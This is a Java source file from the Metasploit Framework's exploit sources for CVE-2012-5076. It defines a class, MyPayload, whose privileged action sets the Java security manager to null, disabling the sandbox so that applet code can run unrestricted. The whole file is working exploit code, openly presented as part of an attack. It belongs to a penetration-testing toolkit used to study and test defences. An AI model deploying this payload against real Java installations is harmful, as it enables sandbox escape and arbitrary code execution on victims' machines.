metasploit-framework/external/source/exploits/cve-2012-5076/MyPayload.java

import java.security.*;

public class MyPayload
    implements PrivilegedExceptionAction
{

    public MyPayload()
    {
        try
        {
            AccessController.doPrivileged(this);
        }
        catch(PrivilegedActionException e)
        {
            //e.printStackTrace();
        }
    }

    public Object run()
        throws Exception
    {
        System.setSecurityManager(null);
        return null;
    }

    public static void r()
        throws Exception
    {
		//System.out.println("hello!");
    }


}